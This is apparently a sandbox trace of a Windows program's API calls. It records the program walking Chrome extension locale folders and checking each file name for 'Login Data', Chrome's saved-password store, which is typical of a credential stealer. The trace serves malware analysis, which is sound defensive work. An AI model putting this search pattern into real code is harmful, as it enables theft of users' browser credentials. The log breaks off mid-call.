lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0056.585] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 131 [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned 131 [0056.585] lstrlenA (lpString="\\*.*") returned 4 [0056.585] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.585] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0056.585] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*" [0056.585] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.585] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.585] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.585] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.585] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.585] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.585] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.585] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.585] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.585] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.585] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.585] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.585] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.585] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.585] lstrlenA (lpString="\\") returned 1 [0056.585] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.585] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.585] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.585] lstrlenA (lpString="lt") returned 2 [0056.585] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.585] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.585] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0056.585] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 131 [0056.585] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 131 [0056.585] lstrlenA (lpString="\\*.*") returned 4 [0056.585] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.585] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0056.585] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*" [0056.585] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.585] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.586] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.586] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.586] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.586] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.586] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.586] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.586] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.586] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.586] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.586] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.586] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.586] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.586] lstrlenA (lpString="\\") returned 1 [0056.586] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.586] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.586] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.586] lstrlenA (lpString="lv") returned 2 [0056.586] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.586] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.586] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0056.586] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 131 [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 131 [0056.586] lstrlenA (lpString="\\*.*") returned 4 [0056.586] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.586] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0056.586] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*" [0056.586] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.586] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.586] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.586] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.586] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.586] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.586] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.586] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.586] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.586] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.586] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.586] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.586] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.586] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.586] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.587] lstrlenA (lpString="\\") returned 1 [0056.587] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.587] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.587] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.587] lstrlenA (lpString="ms") returned 2 [0056.587] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.587] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.587] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0056.587] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 131 [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 131 [0056.587] lstrlenA (lpString="\\*.*") returned 4 [0056.587] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.587] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0056.587] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*" [0056.587] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.587] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.587] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.587] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.587] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.587] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.587] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.587] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.587] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.587] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.587] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.587] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.587] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.587] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.587] lstrlenA (lpString="\\") returned 1 [0056.587] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.587] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.587] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.587] lstrlenA (lpString="nl") returned 2 [0056.587] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.587] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.587] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0056.587] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 131 [0056.587] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 131 [0056.587] lstrlenA (lpString="\\*.*") returned 4 [0056.587] LocalAlloc (uFlags=0x40, 